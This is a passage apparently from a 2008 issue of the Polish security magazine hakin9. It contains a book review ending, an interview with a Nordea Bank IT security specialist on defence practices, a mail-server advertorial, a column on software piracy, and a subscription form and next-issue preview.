lowanie adresów IP. Kolejny rozdział przeznaczony
jest na omówienie pokrótce szeregu technologii WAN,
m. in. ISDN, X.25, Frame Relay, ATM, DSL. Po nich – już
obszerniej – opisane zostały PPP, ISDN, DDR i ponow-
nie Frame Relay. Książkę kończy rozdział wprowadzają-
cy do zarządzania siecią, jednak ten ostatni akurat powi-
nien być zawarty we wcześniejszych częściach książki.

Materiał zamieszczony w komplecie czterech książek

prawie w całości pokrywa się z tym omawianym na kursach
przygotowujących do egzaminu CCNA, a zawartość każdej
z płyt CD to dodatkowa wiedza, którą warto posiadać.

Według nowego zakresu materiału, który trzeba opa-

nować na egzamin CCNA, niezbędne są podstawy wiedzy
o sieciach bezprzewodowych i bezpieczeństwie, czego
w tych książkach brakuje. Powoduje to, że kurs staje się
niepełny, a Czytelnik zmuszony jest do uzupełnienia braków
z innych źródeł, np. kursów Cisco, takich jak Fundamentals
of Wireless LANs czy Fundamentals of Network Security.
Na dodatek w książce omówiono technologie ISDN i DDR,
które do nowego egzaminu CCNA nie są już niezbędne.

Podsumowując, komplet tych książek stanowi dość

dobre przygotowanie teoretyczne do egzaminu CCNA, jed-
nakże nabytą za jego pośrednictwem wiedzę powinno się
uzupełnić o wspomniane brakujące zagadnienia. Należy
także przećwiczyć zagadnienia praktyczne na symulato-
rze (zawartym na załączonym CD) lub na żywym sprzę-
cie – bądź to zdalnie na jednym z wielu labów dostępnych
w Internecie, bądź to na swoim własnym sprzęcie, który
można relatywnie tanio skompletować.

Jan Niedźwiedź

background image

www.hakin9.org

hakin9 Nr 2/2008

74

Wywiad

hakin9:

Na czym polega Pana praca?

Witosław Wolański: Tworzę polityki bezpieczeń-
stwa i standardy dotyczące różnych aspektów
pracy systemu informatycznego, oceniam i opi-
niuję projekty informatyczne pod kątem bezpie-
czeństwa rozwiązań, obserwuję i analizuję co-
dzienną pracę systemu informatycznego, po-
szukując przejawów zagrożeń oraz nadzoru-
ję cały proces obsługi incydentów w systemie,
współpracuję z jednostkami zajmującymi się ry-
zykiem operacyjnym banku.

h9:

Jak wielu pracowników czuwa nad tym, aby

zapewnić bezpieczeństwo, jak duży jest dział
bezpieczeństwa IT w Waszym banku?

WW:

Rozumienie pojęcia bezpieczeństwa sys-

temu informatycznego ewoluuje i się rozszerza.
Kiedyś przez bezpieczeństwo rozumiano ochro-
nę przed zagrożeniami z Internetu. Dzisiaj nadal
jest to istotne źródło zagrożeń, jednak mecha-
nizmy ich przenikania są zupełnie inne i wy-
magają innego podejścia. Zespół pracowników
bezpośrednio zajmujących się sprawami tech-
nicznymi bezpieczeństwa systematycznie się
rozrasta, kompetentnie ogarniając nowe ob-
szary zagrożeń. Moją ambicją jest, aby wszy-
scy pracownicy IT rozumieli zagadnienia bez-
pieczeństwa, zwłaszcza w obszarze swojej pra-

cy oraz interakcji z systemem informatycznym.
W ten sposób dzięki indywidualnej świadomo-
ści można się przybliżyć do ideału, którym jest
respektowanie wymagań bezpieczeństwa i trak-
towanie tego jako naturalnego składnika każde-
go procesu i działania. To wymaga stałej uwa-
gi, podnoszenia kwalifikacji i rozszerzania świa-
domości. Nawet najliczniejsza komórka speców
security nie ogarnie wszystkich zagrożeń, jeśli
inni użytkownicy systemu nie będą przestrzegali
choćby podstawowych zasad higieny.

h9:

Czy prowadzone są szkolenia dla pracow-

ników dotyczące bezpieczeństwa systemu tele-
informatycznego banku?

WW:

Oczywiście. Stosowane są różne formy

i jest kładziony nacisk na działania uświadamia-
jące, zwłaszcza poprzez naukę na przykładach
– czy to w formie indywidualnej, czy zbiorowej.
Szczególnie ważne jest to w obszarze banko-
wości internetowej – pracownik, nie będący
przecież ekspertem informatycznym, musi do-
brze rozumieć, na czym polegają zagrożenia,
z którymi może się zetknąć Klient, żeby potra-
fić przystępnie i skutecznie przekazać zasady
bezpiecznego używania konta elektroniczne-
go. Klienci mają do swojej dyspozycji wsparcie
nie tylko pracowników w placówkach banku, ale

Witosław Wolański

– specjalista IT w Banku

Nordea

W Nordea Bank Polska pracuję od

dwóch lat. Mimo, że moje stanowisko

nazywa się specjalista ds. polityki

bezpieczeństwa systemu IT, swoją rolę

widzę dużo szerzej. Zajmuję się ogólnie

pojętym bezpieczeństwem systemu

informatycznego banku, w tym również

wydajnością pracy całego systemu lub

jego istotnych części, których utrata

wpływa na przetwarzanie danych

i jakość obsługi naszych Klientów.

background image

Wywiad

hakin9 Nr 2/2008

www.hakin9.org

75

również pracowników Call Center oraz szczegółowe arty-
kuły w witrynie internetowej www.nordea.pl.
Nie muszę chyba dodawać, że zagadnienia bezpiecz-
nej pracy z systemem informatycznym są ujęte w instruk-
cjach dla pracowników, z którymi każdy musi się szcze-
gółowo zapoznać i przestrzegać ich zaleceń.

h9:

Jakie środki bezpieczeństwa informatycznego stosuje

się w bankowości i jak duże pociąga to za sobą koszty?

WW:

Trudno mi podać liczby. Niewątpliwie w bankowo-

ści (może poza niektórymi instytucjami rządowymi) są
one największe. Oszczędności w dziedzinie bezpieczeń-
stwa są zawsze pozorne i prędzej czy później słono kosz-
tują. Często o wiele większe koszty to nie te materialne,
od których banki są w dużej mierze ubezpieczone, ale
koszty związane z utratą reputacji banku czy nadszarp-
nięciem zaufania Klientów.
Niezawodność systemów informatycznych banku jest
postrzegana przez Klientów podobnie jak bezpieczeń-
stwo. Dlatego oba te elementy w prawidłowo zaprojek-
towanych i wdrożonych systemach bankowych są nie-
rozdzielne. Proszę sobie wyobrazić wszystkie ele-
menty jakiegokolwiek systemu podwojone – sprzęt, łą-
cza, licencje oprogramowania, a do tego zastosowanie
specjalnych technologii zapewniających płynną pracę
w przypadku awarii elementu systemu czy też osob-
nych systemów do monitorowania, mających na celu
wczesne wykrywanie symptomów zwiastujących awa-
rię. To kosztuje.

h9:

Jaki jest według Pana najlepszy system obrony przed

włamywaczami? Czy obecne zabezpieczenia systemów IT
są wystarczające do walki z elektronicznymi przestępca-
mi?

WW:

Nie ma jedynej słusznej i w pełni niezawodnej me-

tody obrony. W systemie bankowym stosowane są liczne
i niezależne warstwy obrony, wspomagane odpowiedni-
mi urządzeniami monitorującymi, analizującymi i alarmu-
jącymi. To oczywiście nie powinno usypiać czujności – te
wszystkie urządzenia, oprogramowanie, tworzyli ludzie
i zapewne są w nich błędy czekające tylko na odkrycie
i wykorzystanie przez hakerów.

Bardziej niepokojące jest jednak co innego – koncentrowa-
nie się potencjalnych włamywaczy na najsłabszym ogni-
wie, będącym zupełnie poza kontrolą banku – na kompute-
rze użytkownika bankowości internetowej. Na ogół względ-
nie łatwo jest włamać się na taki komputer, co w połączeniu
z rosnącym wyrafinowaniem szkodliwego oprogramowania,
które jest stosowane do śledzenia działań ofiary, powoduje,
że w trosce o dobro Klientów banki są bezpośrednio zainte-
resowane podnoszeniem bezpieczeństwa narzędzi używa-
nych przez nich do obsługi kont internetowych. Na przykład
bank Nordea w Szwecji udostępniał swoim Klientom aplika-
cję chroniącą przed szkodliwym oprogramowaniem.
Należy również mieć na uwadze odwieczny konflikt po-
między łatwością użycia a bezpieczeństwem i koniecz-
nością poszukiwania jakiegoś kompromisu w tym zakre-
sie. Klient niechętnie będzie używał niewygodnych wyra-
finowanych zabezpieczeń, które będą wymagały od nie-
go uwagi. A te kompromisy otwierają nowe drogi włamań,
co obserwujemy w postaci coraz większego zaintereso-
wania atakami typu Cross Site Scripting czy Code Injec-
tion
. Czy twórcom przeglądarek śniły się fuzzery?

h9:

Czy korzystacie z usług hakerów dla celów testowa-

nia systemów zabezpieczeń?

WW:

Stale monitorujemy logi naszych systemów i ana-

lizujemy podejmowane przez hakerów próby włamania
czy też obmacywania systemu. Trudno to nazwać bezpo-
średnim korzystaniem z usług hakerów, ale wiele na tym
można skorzystać.
Internet jest kopalnią hakerskich informacji. Śledząc róż-
ne wątki informacyjne i postępy potencjalnych intruzów,
jesteśmy w stanie tę wiedzę zastosować. To też sposób
na wykorzystanie pracy hakerów.

h9:

Czy często dochodzi do ataków na serwery banku

i czy wszystkie są udaremniane?

WW:

Jak już wspomniałem, system obrony jest wielowar-

stwowy – trudno pokonać wszystkie warstwy naraz. Je-
śli przez atak rozumieć skanowanie portów serwerów, to
można powiedzieć, że jest on nieustanny. Nie zdarzył się
jeszcze skuteczny atak w takim sensie, że np. dokonano
by wyprowadzenia środków z konta Klienta.

R

E

K

L

A

M

A

background image

hakin9 Nr 2/2008

www.hakin9.org

Wywiad

76

h9:

Czy na przykładzie Państwa banku można stwierdzić,

że liczba przestępstw typu phishing rośnie bądź maleje?

WW:

To zależy, w jakiej skali patrzeć na Nordeę. Bank

Nordea Polska nie jest w Polsce najbardziej atrakcyj-
nym celem takiego ataku i nie słyszałem, aby wobec
niego podjęto phishing. Inaczej się przedstawia sprawa
w Skandynawii, gdzie pozycja Grupy Nordea jest wiodą-
ca i ataki typu phishing są na porządku dziennym. Ogól-
nie rzecz biorąc skuteczność tego typu ataków opiera się
na wykorzystaniu nieświadomości Klientów banku oraz
słabości metod autentykacji użytkownika w systemie
bankowości internetowej. Zjawisko phishingu jest ciągle
obserwowane i analizowane. Banki podejmują odpowied-
nie środki uniemożliwiające lub przynajmniej utrudniają-
ce atakującemu skuteczne wykorzystanie kodów przeję-
tych w wyniku phishingu.

h9:

Jakie systemy bezpieczeństwa działają w Państwa

banku?

WW:

Tak jak wspomniałem – wielowarstwowa ochro-

na poszczególnych elementów systemu, z filtrowaniem
ruchu sieciowego, jego analizą, wykrywaniem anomalii
i bazodanowym powiadamianiem, separacją warstw apli-
kacji i serwerów. Ze zrozumiałych względów trudno mi
wdawać się w szczegóły.

h9:

Jaki standard szyfrowania jest używany przy trans-

akcjach?
To łatwo sprawdzić w przeglądarce – SSL 128-bit.

h9:

Jakie zabezpieczenia posiada proces logowania na

stronie banku Nordea, w jaki sposób logowanie jest za-
bezpieczone przed sniffingiem?

WW:

System bankowości internetowej SOLO ma standar-

dowe dwuelementowe zabezpieczenia w każdej z form
uwierzytelniania Klienta – coś, co Klient wie oraz coś, co
Klient ma. W przypadku korzystania z uwierzytelniania przy
użyciu zestawu do podpisu elektronicznego dane uwierzy-
telniające są bezpiecznie pobierane z karty chipowej i bez-
pośrednio przekazywane do aplikacji – nie ma możliwo-
ści ich podsłuchania. W przypadku innych form zagrożenie
podsłuchania jest takie samo, jak przy wprowadzaniu da-
nych do przeglądarki – jeśli w systemie jest szkodliwe opro-
gramowanie, które to potrafi, to nie ma przed czymś takim
pewnego zabezpieczenia. To jest właśnie najsłabsze ogni-
wo, o którym wspominałem wcześniej. Protokół SSL uwa-
żany jest za bezpieczny – oczywiście pod warunkiem, że
Klient upewni się, że rzeczywiście komunikuje się z serwe-
rem banku, a nie serwerem pośredniczącym.

h9:

Czy bank Nordea korzysta z SPERT – Systemu Pro-

wadzenia Elektronicznego Rejestru Transakcji?

WW:

W banku są odpowiednie komórki zajmujące się

analizą i zgłaszaniem podejrzanych transakcji –korzysta-
ją z innego systemu.

h9:

Czy bank korzysta z FinDet – inteligentnego systemu

do wykrywania i rejestracji transakcji podejrzanych?
WW:Bank korzysta z innego systemu.

h9:

Jak wygląda odpowiedź banku na potencjalny atak

– czy fakt taki jest zgłaszany organom ścigania? Jakie
są ich reakcje?

WW:

Trudno dać jednoznaczną odpowiedź – wszyst-

ko zależy od charakteru ataku, jego zasięgu, uporczy-
wości itd. Kilka razy miałem osobiście do czynienia z or-
ganami ścigania przy wyjaśnianiu incydentów informa-
tycznych, ale nie związanych z atakiem na bank Nordea.
Byłem pozytywnie zaskoczony otwartością i wolą współ-
pracy. Z drugiej strony mogłem się przekonać, z jak sub-
telnymi problemami mamy do czynienia w przypadku
incydentów w systemach informatycznych. Rozumienie
prawa i wymagania prawne stawiane organom ściga-
nia w zakresie dokumentowania przestępstwa powodują,
że bardzo trudno doprowadzić jakiekolwiek śledztwo
do fazy, w której można postawić oskarżenie. W wielu
przypadkach ślady są tak nikłe i nienamacalne, że nawet
trudno znaleźć uzasadnienie dla kontynuacji śledztwa.

h9:

W jaki sposób firma broni się przed eksploitami zero-

day? Jakie są pasywne środki ochrony informacji klien-
tów banku (kopie bezpieczeństwa)?

WW:

To pytania trochę z różnych dziedzin.

Są różnego rodzaju zero-day exploits. Powiedzmy,
że najpopularniejsze dotyczą wykorzystania luk w doku-
mentach pakietu MS Office. Jeśli zagrożenie i prawdo-
podobieństwo ataku jest wysokie, podejmowane są od-
powiednie kroki w celu utrudnienia przenikania tego typu
dokumentów do systemu informatycznego. W przypadku
zagrożonych usług serwerowych liczymy się nawet z ko-
niecznością ograniczenia lub wyłączenia usług, ale jesz-
cze do tego typu sytuacji nie doszło. Tego typu zjawiska
są na bieżąco śledzone w Internecie i stosownie do roz-
woju wydarzeń podejmujemy na bieżąco decyzje o dzia-
łaniach zapobiegawczych.
Informacje Klientów chronione są zgodnie z wymagania-
mi ustaw regulujących ochronę informacji przetwarza-
nych przez banki – m. in. Ustawy Prawo Bankowe oraz
Ustawy o Ochronie Danych Osobowych. Dodatkowo roz-
szerzenia tych wymagań zawarte są w wewnętrznej po-
lityce bezpieczeństwa informacji oraz zasadach pracy
w systemie informatycznym. Generalnie obowiązuje za-
sada dostępu do informacji na zasadzie uprawnionej ko-
nieczności – tylko osoby, których praca wymaga dostępu
do danej informacji, mogą taki dostęp uzyskać. W przy-
padku danych Klientów, przypadki dostępu są dodatko-
wo monitorowane i rejestrowane. Oczywiście trudno so-
bie wyobrazić system bez kopii bezpieczeństwa i archiwi-
zacji danych – także jest to system wielowarstwowy i da-
ne są chronione w całym cyklu życia poszczególnych no-
śników, na każdym etapie.

h9:

W kilku słowach: dlaczego klienci Pana banku powin-

ni czuć się bezpieczni operując kontem przez Internet?

WW:

Eksperci jednego z branżowych miesięczników

uznali system bankowości internetowej SOLO Nordea
Bank Polska za jeden z najbezpieczniejszych na polskim
rynku. Trudno chyba o lepszą rekomendację.

h9:

Dziękujemy za rozmowę.

WW:

Dziękuję. l

background image

Reklama

77

Klasyczny serwer poczty oparty o pro-
tokół POP3/SMTP pozwala jedynie na
przesyłanie i odbieranie poczty. Nie jest
to najwygodniejsza forma współpra-
cy, ponieważ jeśli jeden plik ma zostać
przesłany do kilku odbiorców na tym sa-
mym serwerze, to tworzonych jest kilka
kopii tej samej wiadomości. Dodatkowo
każda wiadomość musi zostać w cało-
ści przesłana i odebrana przez serwer,
co obciąża pasmo, zasoby oraz infra-
strukturę. Ponadto przy większej ilości
e-maili administracja kontem staje się
uciążliwa – protokół wymusza korzy-
stanie tylko z jednego katalogu dla ca-
łej poczty. Rozwiązaniem tych wszyst-
kich problemów jest serwer poczty
korzystający z protokołu IMAP. Dosko-
nałym przykładem takiego rozwiązania,
jako serwera poczty oraz pracy grupo-
wej, jest Kerio MailServer.

Kerio MailServer pozwala użyt-

kownikom komunikować się za po-
mocą poczty e-mail oraz umożli-
wia współdzielenie zasobów. Ca-
ła poczta jest przechowywana po
stronie serwera, dzięki czemu użyt-
kownik nie musi jej pobierać na swój
komputer. Rozwiązanie to spraw-
dza się doskonale w przypadku ko-
rzystania z poczty z wielu kompu-
terów – niezależnie od komputera,
z którego korzystamy, mamy pełen
wgląd do całej poczty. Istotną ce-
chą wyróżniającą Kerio MailServer
jest możliwość tworzenia katalogów

publicznych oraz możliwość udo-
stępnienia plików i folderów kon-
kretnym użytkownikom – teraz nie
ma już potrzeby wysłania jednego
pliku wszystkim odbiorcom, można
go po prostu udostępnić.

Kerio MailServer pomaga rów-

nież zarządzać pracą użytkowni-
ków. Funkcjonalność kalendarza
i zadań pozwala przydzielać za-
dania poszczególnym użytkowni-
kom lub całym grupom oraz obser-
wować stopień ich wykonania. Ka-
lendarz pozwala rezerwować czas,
a także informować innych użyt-
kowników o swojej dostępności
lub niedostępności. Oczywiście te
obiekty również mogą być udostęp-
nione do wglądu lub modyfikacji in-
nym osobom korzystającym z ser-
wera. Ponadto można dzielić się
również kontaktami – baza adre-
sów e-mail może być udostępnia-
na określonym użytkownikom lub
całym grupom. Niewątpliwą zaletą
serwera jest dostęp do jego zaso-
bów – nie musimy instalować żad-
nego dodatkowego oprogramowa-
nia – możemy korzystać ze stan-
dardowego klienta Microsoft Outlo-
ok (wraz ze specjalną wtyczką).
Istnieje również możliwość połącze-
nia do serwera za pomocą specjal-
nej strony WWW – za jej pośrednic-
twem możemy uzyskać identycz-
ną funkcjonalność, jak w przypad-
ku używania klienta poczty. Funk-
cjonalność ta sprawia, że możemy
korzystać z zasobów poczty w bez-
pieczny sposób – praktycznie z do-
wolnego komputera na świecie, bez
instalacji jakiegokolwiek oprogra-
mowania.

W wielu firmach pracownicy ko-

rzystają z komputerów PDA. Jest to

wygodne rozwiązanie, umożliwiają-
ce dostęp do firmowych zasobów
z każdego miejsca na świecie. Rów-
nież w Kerio Mail Server urządze-
nia tego typu są w pełni wspiera-
ne. Dzięki technologiom RoadSync
oraz NotifySync użytkownik nie-
zwłocznie otrzymuje wiadomości,
które znajdują się w jego skrzynce
odbiorczej. Także wszystkie aspek-
ty pracy grupowej mogą być obsłu-
giwane za pomocą tych urządzeń.
Bardzo ciekawą i przydatną opcją
jest technologia Kerio SmartWipe.
W przypadku kradzieży lub zgubie-
nia urządzenia administrator włą-
czając tę funkcję zabezpiecza da-
ne przed kradzieżą. Przy kolejnym
logowaniu do systemu z PDA usu-
wane są wszystkie informacje zwią-
zane z pocztą elektroniczną (m. in.
hasła i loginy), co sprawia, że zło-
dziej nie ma możliwości odczytania
żadnych istotnych danych.

Kerio Mail Server to doskonałe

rozwiązanie dla małych i średnich
przedsiębiorstw. Produkt otrzymał
wiele nagród na międzynarodo-
wych konferencjach, m. in. na Li-
nuxWorld Expo
otrzymał zaszczyt-
ny tytuł LinuxWorld Product Excel-
lence Award
: Best Messaging Solu-
tion
, a przez PC PRO Magazine zo-
stał uznany najlepszym odpowied-
nikiem oprogramowania Microsoft
Exchange.

Kontakt:

Sun Capital Sp. z o.o.
ul. Deszczowa 56
53-024 Wrocław
tel. (71) 360 81 00
www.kerio.pl
www.suncapital.pl
sprzedaz@suncapital.pl

Prowadzenie biznesu wymaga ciągłego kontaktu z kontrahentami i klientami.

Firma Kerio posiada w swojej ofercie oprogramowanie, które pozwala na

efektywną i bezpieczną komunikację e-mail oraz umożliwia skuteczną współpracę

wewnątrz przedsiębiorstwa.

Kerio MailServer jako system

poczty i pracy grupowej dla firm

background image

hakin9 Nr 2/2008

www.hakin9.org

78

S

ą zepsutymi do szpiku kości, nieskrępowanymi
wielbicielami niczym nieograniczonej elektronicz-
nej komunikacji. Potrafią ukrywać się za maskami

ekranów, będąc jednocześnie niewidocznymi i ukrytymi.
W ten sposób dają upust swoim rzeczywistym pragnieniom.
Traktują szczelinę pomiędzy rzeczywistością a pozorem
jako czystą zabawę. Skryci w czeluściach cyberprzestrze-
ni oddychają z ulgą od napięć codziennego życia. Patrząc
na swoje lustrzane odbicia nie widzą samych siebie, lecz
jednego z głównych bohaterów drugiego świata. Zanurzeni
w Sieci nie podlegają ograniczeniu, lecz ciągłemu rozwo-
jowi, otwierając innym oczy na rzeczywistość zewnętrzną.
Z ich usług korzysta co drugi dzisiejszy internauta, siedzą-
cy w samotności przed ekranem peceta, laptopa, a nawet
komórki. To wszystko stymuluje budowę wspólnot goto-
wych podzielić się każdą nową zdobyczą. Powód? Przy-
jemność. Samospełnienie? Pokazanie zadufanym w sobie
pyszałkom, że można? Też, ale i coś więcej. Historia ich
sięga początków pierwszego oprogramowania. Już w tych
czasach w odbiciu ekranu można było rozpoznać w nich
ludzi pomijających różne, złożone czynniki materialne rzą-
dzące innymi. W ich magicznym życiu nie istnieje domena
komercji, lecz rzeczywistość wirtualna, która pozwala im
na tworzenie niepokojącego nadmiaru darmochy.

Piraci komputerowi stanowią różne tożsamości spo-

łeczne – są mniej lub więcej szanowanymi w społe-
czeństwie osobami, których normalne odruchy tłumione
są wraz z coraz bardziej zaostrzanym prawem kompu-
terowym. We wczesnych latach, kiedy warunki dla takiej
zabawy stanowiły raczkujące przepisy regulujące możli-
wości wykorzystania programów, nikt specjalnie nie przej-
mował się ujawnianiem drugiego obiegu gier, oprogramo-
wania czy sprzętu. Dzisiaj wedle postanowień Kodeksu
Karnego już samo posiadanie nielegalnej kopii oprogramo-
wania traktowane jest na równi z paserstwem. Im poważ-
niejszy oficjalny zakaz występujący w społeczeństwie, tym
większa i bardziej skryta jest współpraca podziemia. Dla-
tego należy spodziewać się, że nie tylko zakazane treści
znowu będą dostępne dla wybranych w kręgu zaufania, ale
także jednoznaczna identyfikacja twórców pirackich kopii
rozpowszechnianych za pomocą Internetu stanie się zada-
niem dla wyrafinowanej informatyki śledczej. Głównymi
grzechami wyliczanymi piractwu są: okradanie z realnych

Socjo-cyber-piraci

przestrzeni

zysków autorów danego dzieła, znaczny wpływ na zwięk-
szenie cen dla uczciwych użytkowników oraz spowalnianie
procesu powstawania nowych produktów poprzez ograni-
czanie liczby dodatkowych miejsc pracy w branży informa-
tycznej. Trudno rozstrzygnąć spór, kto rozpoczął tę wojnę.
Czy chciwe korporacje i firmy przyczyniły się do wykształ-
cenia darmowej alternatywy – czy ta sama alternatywa, nie
chcąc płacić za cokolwiek, zmusiła korporacje i firmy do
wywindowania cen? Bo przecież najczęściej podawanym
powodem, dla którego użytkownicy decydują się na nie-
legalne oprogramowanie, jest cena – nieproporcjonalnie
wysoka w stosunku do możliwości darmowych odpowied-
ników. Nie przeszkadza im nawet fakt, że w tym momencie
stają się uczestnikami procederu niezgodnego z prawem.
Prawdziwym eksperymentem byłoby obustronne zobowią-
zanie o kupnie oryginalnych wydawnictw autorskich, lecz
po cenie, która mogłaby zaspokoić obie strony transakcji.
W bardzo krótkim czasie okazałoby się, czy taka utopia ma
szansę przetrwać dłużej, a co najważniejsze, która ze stron
złamałaby ją jako pierwsza.

Z moralnego punktu widzenia piractwo jest złym

czynem i powinno być zwalczane. Jednak pośrednio – bez-
sprzecznie poszerza zasięg stosowania danych marek, bez
szkód dla wartości intelektualnej autorów; gorzej wypada,
jeśli chodzi o wartości komercyjne. Każdy zgodnie prze-
cież przyzna, że twórcy powinno przysługiwać wynagro-
dzenie za jego pracę (chociaż na szczęście ma on jesz-
cze prawo udostępniać efekty swojej twórczej pracy bez
żądania opłat). Piractwo przyczynia się także do migracji
w stronę zupełnie darmowego oprogramowania, finanso-
wanego z dobrowolnych wpłat użytkowników – lub kor-
poracji, widzących nowy potencjał dla swoich inwestycji.
Jednak z każdym rokiem technologie cyfrowe powodują
niewyobrażalny rozkwit twórczości komercyjnej, a prawo
w obawie o coraz większe straty wciąż bardziej ograni-
cza ich użycie poprzez obłąkańczo skomplikowane i nie-
jasne reguły. Piractwo jest interpretowane jako niedozwo-
lone wykorzystywanie czyjejś własności twórczej bez
uprzedniego zezwolenia. Uznając, że tam gdzie występuje
wartość (materialna lub intelektualna), tam z ochroną przy-
chodzi prawo – przyjmiemy, że cała historia przemysłu
komputerowego jest jedną wielką historią piractwa samą
w sobie. l

Patryk Krawaczyński agresor@nfsec.pl

Felieton

background image
background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 244 24 59 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

Zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

W lipcu i sierpniu ukazuje się jeden wakacyjny numer

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

11

3

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9 - jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

11

3

199

1

/219

.psd (2 płyty CD)

Miesięcznik użytkowników programu Adobe Photoshop

11

3

199

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

3DFX

Dwumiesięcznik miłośników grafiki trójwymiarowej

6

140

Suma

background image

hakin9 Nr 2/2008

www.hakin9.org

82

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku marca 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

3/2008

w następnym numerze między

innymi:

Zapowiedzi

Formaty graficzne

z punktu widzenia bughuntera

Formaty graficzne (JPG, BMP, PCX, PNG, GIF etc.) z punktu widzenia ata-
kującego: gdzie mogą pojawić się błędy przy implementacji obsługi danego
formatu, co może pójść nie tak. Całość zilustrowana opisem bugów w opro-
gramowaniu, które pojawiły się na liście Bugtraq.

Hakowanie Visty

Artykuł będzie dotyczył systemu operacyjnego Windows Vista i opisywał
błędy, które umożliwiają zdalny dostęp do komputera.

Odzyskiwanie danych po ataku hakera

lub złośliwego kodu

Metody i narzędzia wykorzystywane przy odzyskiwaniu danych z różnych
nośników komputerowych, utraconych na skutek ataku hakera lub złośliwe-
go kodu.

Ukrywanie aplikacji

w kernelu systemu Windows

Autor wprowadzi Czytelnika do programowania kernel mode, odpowie na
pytanie dlaczego właśnie kernel mode?, a także pokaże dwie metody ukry-
wania procesów i sterowników – SSDT hooking oraz DKOM.

NA CD:

hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.

Atak

Obrona

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 22 (02 2007) PL
Hakin9 36 (04 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 38 (06 2008) PL
Hakin9 37 (05 2008) PL
Charaktery 02 2008 PL
Hakin9 40 (09 2008) PL
Hakin9 33 (01 2008) PL
hakin9 07 08 2008 pl
Hakin9 22 (02 2007) PL
Hakin9 37 (05 2008) PL
Hakin9 36 (04 2008) PL
Charaktery 02 2008 PL
Hakin9 33 (01 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 40 (09 2008) PL
Hakin9 22 (02 2007) PL
Hakin9 38 (06 2008) PL

więcej podobnych podstron